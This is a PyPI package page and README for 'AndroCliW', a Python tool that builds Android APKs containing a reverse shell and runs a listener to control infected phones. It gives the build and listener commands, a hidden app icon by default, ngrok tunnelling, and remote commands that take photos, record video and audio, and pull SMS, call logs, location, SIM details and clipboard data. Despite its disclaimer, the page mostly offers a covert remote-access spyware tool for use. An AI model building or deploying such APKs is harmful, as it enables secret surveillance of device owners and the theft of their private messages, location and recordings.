Skip to main content

Android CLI tool for reverse shell operations and APK building

Project description

AndroCliW - Android CLI Tool

PyPI version Python License: MIT

AndroCliW is a powerful command-line tool for Android penetration testing and reverse shell operations. This tool allows you to build APK files with reverse shell capabilities and interact with Android devices remotely.

Features

  • 🔧 APK Building: Build custom APK files with reverse shell capabilities
  • 🌐 Ngrok Integration: Use ngrok for tunneling connections
  • 📱 Remote Shell: Get interactive shell access to Android devices
  • 🎯 Penetration Testing: Designed for security professionals and researchers
  • 🔒 Stealth Options: Configurable icon visibility for stealth operations

Installation

From PyPI (Recommended)

pip install androcli

From Source

git clone https://github.com/AryanVBW/androcli.git
cd androcli
pip install -e .

Requirements

  • Python 3.6 - 3.8
  • Java 8 (for APK building)
  • Android SDK (optional, for advanced features)

Usage

Basic Commands

# Build an APK with reverse shell
androcli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME>

# Start shell listener
androcli --shell -i <IP_ADDRESS> -p <PORT>

# Build APK with ngrok tunneling
androcli --build --ngrok -p <PORT> -o <OUTPUT_APK_NAME>

# Build APK with hidden icon
androcli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME> --icon

Command Line Options

  • --build: Build the APK file
  • --shell: Start the shell listener
  • --ngrok: Use ngrok for tunneling
  • -i, --ip <IP>: Specify the IP address
  • -p, --port <PORT>: Specify the port number
  • -o, --output <NAME>: Specify the output APK name
  • --icon: Make the app icon visible (default: hidden)

Shell Commands

Once connected to a device, you can use various commands:

  • deviceInfo: Get basic device information
  • camList: List available cameras
  • takepic [cameraID]: Take a picture
  • startVideo [cameraID]: Start video recording
  • stopVideo: Stop video recording
  • startAudio: Start audio recording
  • stopAudio: Stop audio recording
  • getSMS [inbox|sent]: Get SMS messages
  • getCallLogs: Get call logs
  • shell: Start interactive shell
  • vibrate [times]: Vibrate the device
  • getLocation: Get device location
  • getIP: Get device IP address
  • getSimDetails: Get SIM card details
  • getClipData: Get clipboard data
  • getMACAddress: Get MAC address
  • clear: Clear screen
  • exit: Exit the session

Project Structure

androcli/
├── androcli/
│   ├── __init__.py
│   ├── main.py
│   └── utils.py
├── Android_Code/          # Android source code
├── Compiled_apk/          # Pre-compiled APK template
├── Jar_utils/             # Java utilities (apktool, signing)
├── Dumps/                 # Output directory for captured data
├── setup.py
├── requirements.txt
└── README.md

Security Notice

⚠️ Important: This tool is designed for educational purposes and authorized penetration testing only. Users are responsible for ensuring they have proper authorization before using this tool on any devices or networks. Unauthorized access to computer systems is illegal.

Legal Disclaimer

This tool is provided for educational and research purposes only. The authors and contributors are not responsible for any misuse or damage caused by this tool. Always ensure you have explicit permission before testing on any systems you do not own.

Contributing

Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.

License

This project is licensed under the MIT License - see the LICENSE file for details.

Author

AryanVBW

Support

If you encounter any issues or have questions, please open an issue on GitHub.


Note: This tool requires Java 8 for APK building functionality. Make sure you have the appropriate Java version installed and configured in your system PATH.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

androcli-1.0.0.tar.gz (26.6 MB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

androcli-1.0.0-py3-none-any.whl (28.9 MB view details)

Uploaded Python 3

File details

Details for the file androcli-1.0.0.tar.gz.

File metadata

  • Download URL: androcli-1.0.0.tar.gz
  • Upload date:
  • Size: 26.6 MB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.5

File hashes

Hashes for androcli-1.0.0.tar.gz
Algorithm Hash digest
SHA256 dcf37c9eae75d53636e69ee46e416afe99bc0b22c46bb79282a7fcb2aa936e68
MD5 68953d267ce40bc2eb4d217f9d4ffcfa
BLAKE2b-256 b358911a6a604086858c693640c02f0a4f46c341b4b1e20e94630506b4839cc6

See more details on using hashes here.

File details

Details for the file androcli-1.0.0-py3-none-any.whl.

File metadata

  • Download URL: androcli-1.0.0-py3-none-any.whl
  • Upload date:
  • Size: 28.9 MB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.5

File hashes

Hashes for androcli-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 db0fa985eb9d03b14c5f6c3bd3d071f71c8d4b52f1330729ed8796b94127f6f9
MD5 720e4dfacb6681c6aa6830c294286853
BLAKE2b-256 1ad1b997eafd1c33176195dde714f4d9187944ef2969d61fb16ecf28a954dfef

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page